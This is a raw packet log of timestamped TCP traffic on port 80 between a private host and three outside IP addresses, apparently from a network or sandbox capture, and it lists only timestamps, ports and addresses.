Sep 11, 2024 16:22:18.073640108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073818922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073827028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073837996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073864937 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073879957 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074057102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074067116 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074085951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074096918 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074107885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074110985 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074120045 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074131012 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074139118 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074150085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074158907 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074161053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074172020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074174881 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074182987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074193001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074203014 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074203968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074214935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074230909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074232101 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074242115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074249029 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074253082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074264050 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074292898 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074323893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074335098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074347019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074357033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074367046 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074381113 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074393034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074402094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074404955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074412107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074424028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074428082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074443102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074453115 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074454069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074476004 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074498892 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074605942 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074618101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074629068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074641943 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074661016 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074743986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074754000 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074770927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074781895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074789047 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074795008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074804068 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074805975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074817896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074830055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074856997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074886084 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074893951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074914932 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074938059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074939013 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.074954987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074966908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074976921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074987888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.074992895 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.075015068 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.075031996 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.075109959 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.075675964 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.075846910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.075859070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.075891018 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.075902939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.075907946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.075916052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.075927019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.075942039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.075949907 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.075953960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.075982094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.075999022 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.077860117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.077872038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.077882051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.077894926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.077907085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.077918053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.077924013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.077931881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.077944040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.077958107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.077975035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.081254959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.081265926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.081276894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.081319094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.081326962 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.081330061 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.081341028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.081353903 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.081372976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.081379890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.081414938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.081753969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.084660053 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.085546970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.085563898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.085577011 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.085594893 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.085597992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.085611105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.085614920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.085625887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.085638046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.085639000 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.085652113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.085660934 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.085689068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.089975119 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.089986086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090059996 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090102911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090115070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090127945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090137005 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090173960 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090195894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090228081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090240002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090251923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090261936 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090281963 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090379000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090389967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090403080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090415001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090424061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090431929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090444088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090444088 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090456963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090460062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090471029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090483904 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090487003 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090497971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090500116 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090523958 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090667009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090718031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090728998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090754986 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090765953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.090769053 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.090799093 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091460943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091476917 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091489077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091505051 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091519117 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091532946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091545105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091557026 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091563940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091571093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091593027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091600895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091613054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091614008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091624975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091635942 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091638088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091651917 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091654062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091664076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091675043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.091680050 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091696978 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.091718912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.093137980 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.093147993 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.093159914 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.093188047 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.093249083 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.093461037 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.093544960 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.096601009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096611977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096630096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096643925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096656084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096669912 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.096693039 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.096771955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096784115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096796989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096806049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.096837997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.096843004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096854925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096868038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096874952 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.096879959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096899986 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.096910000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096921921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.096944094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.096947908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097024918 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097043037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097078085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097372055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097383022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097397089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097418070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097438097 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097522974 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097539902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097553015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097557068 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097567081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097572088 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097580910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097589016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097594023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097605944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097606897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097620964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097621918 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097645998 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097665071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097667933 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097676039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097688913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.097707033 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.097731113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098215103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098227024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098239899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098273039 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098290920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098330975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098342896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098355055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098367929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098377943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098381996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098404884 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098417044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098584890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098634005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098647118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098680973 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098784924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098797083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098809004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098820925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098838091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098858118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098917961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098936081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098948002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098959923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098968983 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098973036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098983049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.098985910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.098999023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099008083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.099033117 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.099052906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099121094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099131107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099149942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099153042 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.099164009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099168062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.099179983 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099190950 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099194050 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.099203110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099215984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.099270105 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.099946976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099960089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099972010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099983931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.099998951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.100002050 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.100014925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.100027084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.100027084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.100044966 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.100066900 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.105142117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105153084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105173111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105185032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105197906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105211020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105223894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105237007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105257988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105277061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105277061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105277061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105277061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105318069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105379105 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105580091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105591059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105609894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105623007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105628014 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105635881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105648041 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105650902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105664015 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.105664015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105679989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.105695963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.106110096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.106148958 CEST	49736	80	192.168.2.4	176.113.115.33
